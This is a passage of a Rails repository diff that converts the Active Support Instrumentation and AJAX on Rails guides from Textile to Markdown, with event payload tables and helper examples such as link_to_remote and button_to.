+ :layout => "layouts/application"
+}
+```
+
+### render_partial.action_view
+
+| Key | Value |
+| ------------- | --------------------- |
+| `:identifier` | Full path to template |
+
+```ruby
+{
+ :identifier => "/Users/adam/projects/notifications/app/views/posts/_form.html.erb",
+}
+```
+
+ActiveRecord
+------------
+
+### sql.active_record
+
+| Key | Value |
+| ------------ | --------------------- |
+| `:sql` | SQL statement |
+| `:name` | Name of the operation |
+| `:object_id` | `self.object_id` |
+
+INFO. The adapters will add their own data as well.
+
+```ruby
+{
+ :sql => "SELECT \"posts\".* FROM \"posts\" ",
+ :name => "Post Load",
+ :connection_id => 70307250813140,
+ :binds => []
+}
+```
+
+### identity.active_record
+
+| Key | Value |
+| ---------------- | ----------------------------------------- |
+| `:line` | Primary Key of object in the identity map |
+| `:name` | Record's class |
+| `:connection_id` | `self.object_id` |
+
+ActionMailer
+------------
+
+### receive.action_mailer
+
+| Key | Value |
+| ------------- | -------------------------------------------- |
+| `:mailer` | Name of the mailer class |
+| `:message_id` | ID of the message, generated by the Mail gem |
+| `:subject` | Subject of the mail |
+| `:to` | To address(es) of the mail |
+| `:from` | From address of the mail |
+| `:bcc` | BCC addresses of the mail |
+| `:cc` | CC addresses of the mail |
+| `:date` | Date of the mail |
+| `:mail` | The encoded form of the mail |
+
+```ruby
+{
+ :mailer => "Notification",
+ :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+ :subject => "Rails Guides",
+ :to => ["users@rails.com", "ddh@rails.com"],
+ :from => ["me@rails.com"],
+ :date => Sat, 10 Mar 2012 14:18:09 +0100,
+ :mail=> "..." # ommitted for beverity
+}
+```
+
+### deliver.action_mailer
+
+| Key | Value |
+| ------------- | -------------------------------------------- |
+| `:mailer` | Name of the mailer class |
+| `:message_id` | ID of the message, generated by the Mail gem |
+| `:subject` | Subject of the mail |
+| `:to` | To address(es) of the mail |
+| `:from` | From address of the mail |
+| `:bcc` | BCC addresses of the mail |
+| `:cc` | CC addresses of the mail |
+| `:date` | Date of the mail |
+| `:mail` | The encoded form of the mail |
+
+```ruby
+{
+ :mailer => "Notification",
+ :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
+ :subject => "Rails Guides",
+ :to => ["users@rails.com", "ddh@rails.com"],
+ :from => ["me@rails.com"],
+ :date => Sat, 10 Mar 2012 14:18:09 +0100,
+ :mail=> "..." # ommitted for beverity
+}
+```
+
+ActiveResource
+--------------
+
+### request.active_resource
+
+| Key | Value |
+| -------------- | -------------------- |
+| `:method` | HTTP method |
+| `:request_uri` | Complete URI |
+| `:result` | HTTP response object |
+
+ActiveSupport
+-------------
+
+### cache_read.active_support
+
+| Key | Value |
+| ------------------ | ------------------------------------------------- |
+| `:key` | Key used in the store |
+| `:hit` | If this read is a hit |
+| `:super_operation` | :fetch is added when a read is used with `#fetch` |
+
+### cache_generate.active_support
+
+This event is only used when `#fetch` is called with a block.
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Options passed to fetch will be merged with the payload when writing to the store
+
+```ruby
+{
+ :key => 'name-of-complicated-computation'
+}
+```
+
+
+### cache_fetch_hit.active_support
+
+This event is only used when `#fetch` is called with a block.
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Options passed to fetch will be merged with the payload.
+
+```ruby
+{
+ :key => 'name-of-complicated-computation'
+}
+```
+
+### cache_write.active_support
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+INFO. Cache stores my add their own keys
+
+```ruby
+{
+ :key => 'name-of-complicated-computation'
+}
+```
+
+### cache_delete.active_support
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+```ruby
+{
+ :key => 'name-of-complicated-computation'
+}
+```
+
+### cache_exist?.active_support
+
+| Key | Value |
+| ------ | --------------------- |
+| `:key` | Key used in the store |
+
+```ruby
+{
+ :key => 'name-of-complicated-computation'
+}
+```
+
+Rails
+-----
+
+### deprecation.rails
+
+| Key | Value |
+| ------------ | ------------------------------- |
+| `:message` | The deprecation warning |
+| `:callstack` | Where the deprecation came from |
+
+Subscribing to an event
+-----------------------
+
+Subscribing to an event is easy. Use `ActiveSupport::Notifications.subscribe` with a block to
+listen to any notification.
+
+The block receives the following arguments:
+
+* The name of the event
+* Time when it started
+* Time when it finished
+* An unique ID for this event
+* The payload (described in previous sections)
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
+ # your own custom stuff
+ Rails.logger.info "#{name} Received!"
+end
+```
+
+Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event`
+from block args like this:
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+ event = ActiveSupport::Notification::Event.new args
+
+ event.name # => "process_action.action_controller"
+ event.duration # => 10 (in milliseconds)
+ event.payload # => { :extra => :information }
+
+ Rails.logger.info "#{event} Received!"
+end
+```
+
+Most times you only care about the data itself. Here is a shortuct to just get the data.
+
+```ruby
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+ data = args.extract_options!
+ data # { :extra => :information }
+```
+
+You may also subscribe to events matching a regular expresssion. This enables you to subscribe to
+multiple events at once. Here's you could subscribe to everything from `ActionController`.
+
+```ruby
+ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
+ # inspect all ActionController events
+end
+```
+
+Creating custom events
+----------------------
+
+Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of
+all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block.
+The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times
+as well as the unique ID. All data passed into the `insturment` call will make it into the payload.
+
+Here's an example:
+
+```ruby
+ActiveSupport::Notifications.instrument "my.custom.event", :this => :data do
+ # do your custom stuff here
+end
+```
+
+Now you can listen to this event with:
+
+```ruby
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+ puts data.inspect # { :this => :data }
+end
+```
+
+You should follow Rails conventions when defining your own events. The format is: `event.library`.
+If you application is sending Tweets, you should create an event named `tweet.twitter`.
diff --git a/guides/source/active_support_instrumentation.textile b/guides/source/active_support_instrumentation.textile
deleted file mode 100644
index dcdd9d14f5..0000000000
--- a/guides/source/active_support_instrumentation.textile
+++ /dev/null
@@ -1,448 +0,0 @@
-h2. Active Support Instrumentation
-
-Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
-
-In this guide, you will learn how to use the instrumentation API inside of ActiveSupport to measure events inside of Rails and other Ruby code. We cover:
-
-* What instrumentation can provide
-* The hooks inside the Rails framework for instrumentation
-* Adding a subscriber to a hook
-* Building a custom instrumentation implementation
-
-endprologue.
-
-h3. Introduction to instrumentation
-
-The instrumentation API provided by ActiveSupport allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
-
-For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be *subscribed* to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
-
-You are even able to create your own events inside your application which you can later subscribe to.
-
-h3. Rails framework hooks
-
-Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.
-
-h3. ActionController
-
-h4. write_fragment.action_controller
-
-|_.Key |_.Value|
-|+:key+ |The complete key|
-
-<ruby>
-{
- :key => 'posts/1-dasboard-view'
-}
-</ruby>
-
-h4. read_fragment.action_controller
-
-|_.Key |_.Value|
-|+:key+ |The complete key|
-
-<ruby>
-{
- :key => 'posts/1-dasboard-view'
-}
-</ruby>
-
-h4. expire_fragment.action_controller
-
-|_.Key |_.Value|
-|+:key+ |The complete key|
-
-<ruby>
-{
- :key => 'posts/1-dasboard-view'
-}
-</ruby>
-
-h4. exist_fragment?.action_controller
-
-|_.Key |_.Value|
-|+:key+ |The complete key|
-
-<ruby>
-{
- :key => 'posts/1-dasboard-view'
-}
-</ruby>
-
-h4. write_page.action_controller
-
-|_.Key |_.Value|
-|+:path+ |The complete path|
-
-<ruby>
-{
- :path => '/users/1'
-}
-</ruby>
-
-h4. expire_page.action_controller
-
-|_.Key |_.Value|
-|+:path+ |The complete path|
-
-<ruby>
-{
- :path => '/users/1'
-}
-</ruby>
-
-h4. start_processing.action_controller
-
-|_.Key |_.Value |
-|+:controller+ |The controller name|
-|+:action+ |The action|
-|+:params+ |Hash of request parameters without any filtered parameter|
-|+:format+ |html/js/json/xml etc|
-|+:method+ |HTTP request verb|
-|+:path+ |Request path|
-
-<ruby>
-{
- :controller => "PostsController",
- :action => "new",
- :params => { "action" => "new", "controller" => "posts" },
- :format => :html,
- :method => "GET",
- :path => "/posts/new"
-}
-</ruby>
-
-h4. process_action.action_controller
-
-|_.Key |_.Value |
-|+:controller+ |The controller name|
-|+:action+ |The action|
-|+:params+ |Hash of request parameters without any filtered parameter|
-|+:format+ |html/js/json/xml etc|
-|+:method+ |HTTP request verb|
-|+:path+ |Request path|
-|+:view_runtime+ |Amount spent in view in ms|
-
-<ruby>
-{
- :controller => "PostsController",
- :action => "index",
- :params => {"action" => "index", "controller" => "posts"},
- :format => :html,
- :method => "GET",
- :path => "/posts",
- :status => 200,
- :view_runtime => 46.848,
- :db_runtime => 0.157
-}
-</ruby>
-
-h4. send_file.action_controller
-
-|_.Key |_.Value |
-|+:path+ |Complete path to the file|
-
-INFO. Additional keys may be added by the caller.
-
-h4. send_data.action_controller
-
-+ActionController+ does not had any specific information to the payload. All options are passed through to the payload.
-
-h4. redirect_to.action_controller
-
-|_.Key |_.Value |
-|+:status+ |HTTP response code|
-|+:location+ |URL to redirect to|
-
-<ruby>
-{
- :status => 302,
- :location => "http://localhost:3000/posts/new"
-}
-</ruby>
-
-h4. halted_callback.action_controller
-
-|_.Key |_.Value |
-|+:filter+ |Filter that halted the action|
-
-<ruby>
-{
- :filter => ":halting_filter"
-}
-</ruby>
-
-h3. ActionView
-
-h4. render_template.action_view
-
-|_.Key |_.Value |
-|+:identifier+ |Full path to template|
-|+:layout+ |Applicable layout|
-
-<ruby>
-{
- :identifier => "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
- :layout => "layouts/application"
-}
-</ruby>
-
-h4. render_partial.action_view
-
-|_.Key |_.Value |
-|+:identifier+ |Full path to template|
-
-<ruby>
-{
- :identifier => "/Users/adam/projects/notifications/app/views/posts/_form.html.erb",
-}
-</ruby>
-
-h3. ActiveRecord
-
-h4. sql.active_record
-
-|_.Key |_.Value |
-|+:sql+ |SQL statement|
-|+:name+ |Name of the operation|
-|+:object_id+ |+self.object_id+|
-
-INFO. The adapters will add their own data as well.
-
-<ruby>
-{
- :sql => "SELECT \"posts\".* FROM \"posts\" ",
- :name => "Post Load",
- :connection_id => 70307250813140,
- :binds => []
-}
-</ruby>
-
-h4. identity.active_record
-
-|_.Key |_.Value |
-|+:line+ |Primary Key of object in the identity map|
-|+:name+ |Record's class|
-|+:connection_id+ |+self.object_id+|
-
-h3. ActionMailer
-
-h4. receive.action_mailer
-
-|_.Key |_.Value|
-|+:mailer+ |Name of the mailer class|
-|+:message_id+ |ID of the message, generated by the Mail gem|
-|+:subject+ |Subject of the mail|
-|+:to+ |To address(es) of the mail|
-|+:from+ |From address of the mail|
-|+:bcc+ |BCC addresses of the mail|
-|+:cc+ |CC addresses of the mail|
-|+:date+ |Date of the mail|
-|+:mail+ |The encoded form of the mail|
-
-<ruby>
-{
- :mailer => "Notification",
- :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
- :subject => "Rails Guides",
- :to => ["users@rails.com", "ddh@rails.com"],
- :from => ["me@rails.com"],
- :date => Sat, 10 Mar 2012 14:18:09 +0100,
- :mail=> "..." # ommitted for beverity
-}
-</ruby>
-
-h4. deliver.action_mailer
-
-|_.Key |_.Value|
-|+:mailer+ |Name of the mailer class|
-|+:message_id+ |ID of the message, generated by the Mail gem|
-|+:subject+ |Subject of the mail|
-|+:to+ |To address(es) of the mail|
-|+:from+ |From address of the mail|
-|+:bcc+ |BCC addresses of the mail|
-|+:cc+ |CC addresses of the mail|
-|+:date+ |Date of the mail|
-|+:mail+ |The encoded form of the mail|
-
-<ruby>
-{
- :mailer => "Notification",
- :message_id => "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
- :subject => "Rails Guides",
- :to => ["users@rails.com", "ddh@rails.com"],
- :from => ["me@rails.com"],
- :date => Sat, 10 Mar 2012 14:18:09 +0100,
- :mail=> "..." # ommitted for beverity
-}
-</ruby>
-
-h3. ActiveResource
-
-h4. request.active_resource
-
-|_.Key |_.Value|
-|+:method+ |HTTP method|
-|+:request_uri+ |Complete URI|
-|+:result+ |HTTP response object|
-
-h3. ActiveSupport
-
-h4. cache_read.active_support
-
-|_.Key |_.Value|
-|+:key+ |Key used in the store|
-|+:hit+ |If this read is a hit|
-|+:super_operation+ |:fetch is added when a read is used with +#fetch+|
-
-h4. cache_generate.active_support
-
-This event is only used when +#fetch+ is called with a block.
-
-|_.Key |_.Value|
-|+:key+ |Key used in the store|
-
-INFO. Options passed to fetch will be merged with the payload when writing to the store
-
-<ruby>
-{
- :key => 'name-of-complicated-computation'
-}
-</ruby>
-
-
-h4. cache_fetch_hit.active_support
-
-This event is only used when +#fetch+ is called with a block.
-
-|_.Key |_.Value|
-|+:key+ |Key used in the store|
-
-INFO. Options passed to fetch will be merged with the payload.
-
-<ruby>
-{
- :key => 'name-of-complicated-computation'
-}
-</ruby>
-
-h4. cache_write.active_support
-
-|_.Key |_.Value|
-|+:key+ |Key used in the store|
-
-INFO. Cache stores my add their own keys
-
-<ruby>
-{
- :key => 'name-of-complicated-computation'
-}
-</ruby>
-
-h4. cache_delete.active_support
-
-|_.Key |_.Value|
-|+:key+ |Key used in the store|
-
-<ruby>
-{
- :key => 'name-of-complicated-computation'
-}
-</ruby>
-
-h4. cache_exist?.active_support
-
-|_.Key |_.Value|
-|+:key+ |Key used in the store|
-
-<ruby>
-{
- :key => 'name-of-complicated-computation'
-}
-</ruby>
-
-h3. Rails
-
-h4. deprecation.rails
-
-|_.Key |_.Value|
-|+:message+ |The deprecation warning|
-|+:callstack+ |Where the deprecation came from|
-
-h3. Subscribing to an event
-
-Subscribing to an event is easy. Use +ActiveSupport::Notifications.subscribe+ with a block to
-listen to any notification.
-
-The block receives the following arguments:
-
-# The name of the event
-# Time when it started
-# Time when it finished
-# An unique ID for this event
-# The payload (described in previous sections)
-
-<ruby>
-ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
- # your own custom stuff
- Rails.logger.info "#{name} Received!"
-end
-</ruby>
-
-Defining all those block arguments each time can be tedious. You can easily create an +ActiveSupport::Notifications::Event+
-from block args like this:
-
-<ruby>
-ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
- event = ActiveSupport::Notification::Event.new args
-
- event.name # => "process_action.action_controller"
- event.duration # => 10 (in milliseconds)
- event.payload # => { :extra => :information }
-
- Rails.logger.info "#{event} Received!"
-end
-</ruby>
-
-Most times you only care about the data itself. Here is a shortuct to just get the data.
-
-<ruby>
-ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
- data = args.extract_options!
- data # { :extra => :information }
-</ruby>
-
-You may also subscribe to events matching a regular expresssion. This enables you to subscribe to
-multiple events at once. Here's you could subscribe to everything from +ActionController+.
-
-<ruby>
-ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
- # inspect all ActionController events
-end
-</ruby>
-
-h3. Creating custom events
-
-Adding your own events is easy as well. +ActiveSupport::Notifications+ will take care of
-all the heavy lifting for you. Simply call +instrument+ with a +name+, +payload+ and a block.
-The notification will be sent after the block returns. +ActiveSupport+ will generate the start and end times
-as well as the unique ID. All data passed into the +insturment+ call will make it into the payload.
-
-Here's an example:
-
-<ruby>
-ActiveSupport::Notifications.instrument "my.custom.event", :this => :data do
- # do your custom stuff here
-end
-</ruby>
-
-Now you can listen to this event with:
-
-<ruby>
-ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
- puts data.inspect # { :this => :data }
-end
-</ruby>
-
-You should follow Rails conventions when defining your own events. The format is: +event.library+.
-If you application is sending Tweets, you should create an event named +tweet.twitter+.
diff --git a/guides/source/ajax_on_rails.md b/guides/source/ajax_on_rails.md
new file mode 100644
index 0000000000..97c56036e8
--- /dev/null
+++ b/guides/source/ajax_on_rails.md
@@ -0,0 +1,316 @@
+AJAX on Rails
+=============
+
+This guide covers the built-in Ajax/JavaScript functionality of Rails (and more);
+it will enable you to create rich and dynamic AJAX applications with ease! We will
+cover the following topics:
+
+* Quick introduction to AJAX and related technologies
+* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc
+* Testing JavaScript functionality
+
+--------------------------------------------------------------------------------
+
+Hello AJAX - a Quick Intro
+--------------------------
+
+AJAX is about updating parts of a web page without reloading the page. An AJAX
+call happens as a response to an event, like when the page finished loading or
+when a user clicks on an element. For example, let say you click on a link, which
+would usually take you to a new page, but instead of doing that, an asynchronous
+HTTP request is made and the response is evaluated with JavaScript. That way the
+page is not reloaded and new information can be dynamically included in the page.
+The way that happens is by inserting, removing or changing parts of the DOM. The
+DOM, or Document Object Model, is a convention to represent the HTML document as
+a set of nodes that contain other nodes. For example, a list of names is represented
+as a `ul` element node containing several `li` element nodes. An AJAX call can
+be made to obtain a new list item to include, and append it inside a `li` node to
+the `ul` node.
+
+### Asynchronous JavaScript + XML
+
+AJAX means Asynchronous JavaScript + XML. Asynchronous means that the page is not
+reloaded, the request made is separate from the regular page request. JavaScript
+is used to evaluate the response and the XML part is a bit misleading as XML is
+not required, you respond to the HTTP request with JSON or regular HTML as well.
+
+### The DOM
+
+The DOM (Document Object Model) is a convention to represent HTML (or XML)
+documents, as a set of nodes that act as objects and contain other nodes. You can
+have a `div` element that contains other `div` elements as well as `p` elements
+that contain text.
+
+### Standard HTML communication vs AJAX
+
+In regular HTML comunications, when you click on a link, the browser makes an HTTP
+`GET` request, the server responds with a new HTML document that the browsers renders
+and then replaces the previous one. The same thing happens when you click a button to
+submit a form, except that you make and HTTP `POST` request, but you also get a new
+HTML document that the browser renders and replaces the current one. In AJAX
+communications, the request is separate, and the response is evaluated in JavaScript
+instead of rendered by the browser. That way you can have more control over the content
+that gets returned, and the page is not reloaded.
+
+Built-in Rails Helpers
+----------------------
+
+Rails 4.0 ships with [jQuery](http://jquery.com) as the default JavaScript library.
+The Gemfile contains `gem 'jquery-rails'` which provides the `jquery.js` and
+`jquery_ujs.js` files via the asset pipeline.
+
+You will have to use the `require` directive to tell Sprockets to load `jquery.js`
+and `jquery.js`. For example, a new Rails application includes a default
+`app/assets/javascripts/application.js` file which contains the following lines:
+
+```
+// ...
+//= require jquery
+//= require jquery_ujs
+// ...
+```
+
+The `application.js` file acts like a manifest and is used to tell Sprockets the
+files that you wish to require. In this case, you are requiring the files `jquery.js`
+and `jquery_ujs.js` provided by the `jquery-rails` gem.
+
+If the application is not using the asset pipeline, this can be accessed as:
+
+```ruby
+javascript_include_tag :defaults
+```
+
+By default, `:defaults` loads jQuery.
+
+You can also choose to use Prototype instead of jQuery and specify the option
+using `-j` switch while generating the application.
+
+```bash
+rails new app_name -j prototype
+```
+
+This will add the `prototype-rails` gem to the Gemfile and modify the
+`app/assets/javascripts/application.js` file:
+
+```
+// ...
+//= require prototype
+//= require prototype_ujs
+// ...
+```
+
+You are ready to add some AJAX love to your Rails app!
+
+### Examples
+
+To make them working with AJAX, simply pass the `remote: true` option to
+the original non-remote method.
+
+```ruby
+button_to 'New', action: 'new', form_class: 'new-thing'
+```
+
+will produce
+
+```html
+<form method="post" action="/controller/new" class="new-thing">
+ <div><input value="New" type="submit" /></div>
+</form>
+```
+
+```ruby
+button_to 'Create', action: 'create', remote: true, form: { 'data-type' => 'json' }
+```
+
+will produce
+
+```html
+<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
+ <div><input value="Create" type="submit" /></div>
+</form>
+```
+
+```ruby
+button_to 'Delete Image', { action: 'delete', id: @image.id },
+ method: :delete, data: { confirm: 'Are you sure?' }
+```
+
+will produce
+
+```html
+<form method="post" action="/images/delete/1" class="button_to">
+ <div>
+ <input type="hidden" name="_method" value="delete" />
+ <input data-confirm='Are you sure?' value="Delete" type="submit" />
+ </div>
+</form>
+```
+
+```ruby
+button_to 'Destroy', 'http://www.example.com',
+ method: 'delete', remote: true, data: { disable_with: 'loading...', confirm: 'Are you sure?' }
+```
+
+will produce
+
+```html
+<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
+ <div>
+ <input name='_method' value='delete' type='hidden' />
+ <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
+ </div>
+</form>
+```
+
+### The Quintessential AJAX Rails Helper: link_to_remote
+
+Let's start with what is probably the most often used helper: `link_to_remote`. It has an interesting feature from the documentation point of view: the options supplied to `link_to_remote` are shared by all other AJAX helpers, so learning the mechanics and options of `link_to_remote` is a great help when using other helpers.
+
+The signature of `link_to_remote` function is the same as that of the standard `link_to` helper:
+
+```ruby
+def link_to_remote(name, options = {}, html_options = nil)
+```
+
+And here is a simple example of link_to_remote in action:
+
+```ruby
+link_to_remote "Add to cart",
+ :url => add_to_cart_url(product.id),
+ :update => "cart"
+```
+
+* The very first parameter, a string, is the text of the link which appears on the page.
+* The second parameter, the `options` hash is the most interesting part as it has the AJAX specific stuff:
+ * **:url** This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty `options` hash to `link_to_remote` - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the `url_for` format too.
+ * **:update** Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
+
+ ```ruby
+ link_to_remote "Add to cart",
+ :url => add_to_cart_url(product),
+ :update => { :success => "cart", :failure => "error" }
+ ```
+
+ If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id `error` is updated rather than the `cart` element.
+
+ * **position** By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the `position` parameter, with four possibilities:
+ * `:before` Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.
+ * `:after` Similar behavior to `:before`, but in this case the response is inserted after the target element.
+ * `:top` Inserts the text into the target element, before its original content. If the target element was empty, this is equivalent with not specifying `:position` at all.
+ * `:bottom` The counterpart of `:top`: the response is inserted after the target element's original content.
+
+ A typical example of using `:bottom` is inserting a new \<li> element into an existing list:
+
+ ```ruby
+ link_to_remote "Add new item",
+ :url => items_url,
+ :update => 'item_list',
+ :position => :bottom
+ ```
+
+ * **:method** Most typically you want to use a POST request when adding a remote
+link to your view so this is the default behavior. However, sometimes you'll want to update (PATCH/PUT) or delete/destroy (DELETE) something and you can specify this with the `:method` option. Let's see an example for a typical AJAX link for deleting an item from a list:
+
+ ```ruby
+ link_to_remote "Delete the item",
+ :url => item_url(item),
+ :method => :delete
+ ```
+
+ Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy.
+
+ * **JavaScript filters** You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one:
+ * `:condition` =&gt; `code` Evaluates `code` (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise.
+ * `:before` =&gt; `code` Evaluates the `code` just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).
+ * `:after` =&gt; `code` Evaluates the `code` after launching the request. Note that this is different from the `:success` or `:complete` callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to `:after` is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.
+ * `:submit` =&gt; `dom_id` This option does not make sense for `link_to_remote`, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id `dom_id`.
+ * `:with` &gt; `code` The JavaScript code snippet in `code` is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, `code` should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
+
+ ```ruby
+ link_to_remote "Update record",
+ :url => record_url(record),
+ :method => :patch,
+ :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')"
+ ```
+
+ This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
+
+ * **Callbacks** Since an AJAX call is typically asynchronous, as its name suggests (this is not a rule, and you can fire a synchronous request - see the last option, `:type`) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
+ * `:loading:` =&gt; `code` The request is in the process of receiving the data, but the transfer is not completed yet.
+ * `:loaded:` =&gt; `code` The transfer is completed, but the data is not processed and returned yet
+ * `:interactive:` =&gt; `code` One step after `:loaded`: The data is fully received and being processed
+ * `:success:` =&gt; `code` The data is fully received, parsed and the server responded with "200 OK"
+ * `:failure:` =&gt; `code` The data is fully received, parsed and the server responded with **anything** but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
+ * `:complete:` =&gt; `code` The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
+ * Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
+
+ ```ruby
+ link_to_remote "Add new item",
+ :url => items_url,
+ :update => "item_list",
+ 404 => "alert('Item not found!')"
+ ```
+
+ Let's see a typical example for the most frequent callbacks, `:success`, `:failure` and `:complete` in action:
+
+ ```ruby
+ link_to_remote "Add new item",
+ :url => items_url,
+ :update => "item_list",
+ :before => "$('progress').show()",
+ :complete => "$('progress').hide()",
+ :success => "display_item_added(request)",
+ :failure => "display_error(request)"
+ ```
+
+ * **:type** If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the `:type` option with the value of `:synchronous`.
+
+* Finally, using the `html_options` parameter you can add HTML attributes to the generated tag. It works like the same parameter of the `link_to` helper. There are interesting side effects for the `href` and `onclick` parameters though:
+ * If you specify the `href` parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
+ * `link_to_remote` gains its AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply `html_options[:onclick]` you override the default behavior, so use this with care!
+
+We are finished with `link_to_remote`. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.
+
+### AJAX Forms
+
+There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following:
+
+* `remote_form_for` (and its alias `form_remote_for`) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter.
+* `form_remote_tag` AJAXifies the form by serializing and sending its data in the background
+* `submit_to_remote` and `button_to_remote` is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input
+
+Let's see them in action one by one!
+
+#### `remote_form_for`
+
+#### `form_remote_tag`
+
+#### `submit_to_remote`
+
+### Serving JavaScript
+
+First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood.
+
+```ruby
+def javascript_test
+ render :text => "alert('Hello, world!')",
+ :content_type => "text/javascript"
+end
+```
+
+(Note: if you want to test the above method, create a `link_to_remote` with a single parameter - `:url`, pointing to the `javascript_test` action)
+
+What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).
+
+Testing JavaScript
+------------------
+
+JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:
+
+* (Fire)Watir
+* Selenium
+* Celerity/Culerity
+* Cucumber+Webrat
+* Mention stuff like screw.unit/jsSpec
+
+Note to self: check out the RailsConf JS testing video
diff --git a/guides/source/ajax_on_rails.textile b/guides/source/ajax_on_rails.textile
deleted file mode 100644
index 67b0c9f0d3..0000000000
--- a/guides/source/ajax_on_rails.textile
+++ /dev/null
@@ -1,309 +0,0 @@
-h2. AJAX on Rails
-
-This guide covers the built-in Ajax/JavaScript functionality of Rails (and more);
-it will enable you to create rich and dynamic AJAX applications with ease! We will
-cover the following topics:
-
-* Quick introduction to AJAX and related technologies
-* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc
-* Testing JavaScript functionality
-
-endprologue.
-
-h3. Hello AJAX - a Quick Intro
-
-AJAX is about updating parts of a web page without reloading the page. An AJAX
-call happens as a response to an event, like when the page finished loading or
-when a user clicks on an element. For example, let say you click on a link, which
-would usually take you to a new page, but instead of doing that, an asynchronous
-HTTP request is made and the response is evaluated with JavaScript. That way the
-page is not reloaded and new information can be dynamically included in the page.
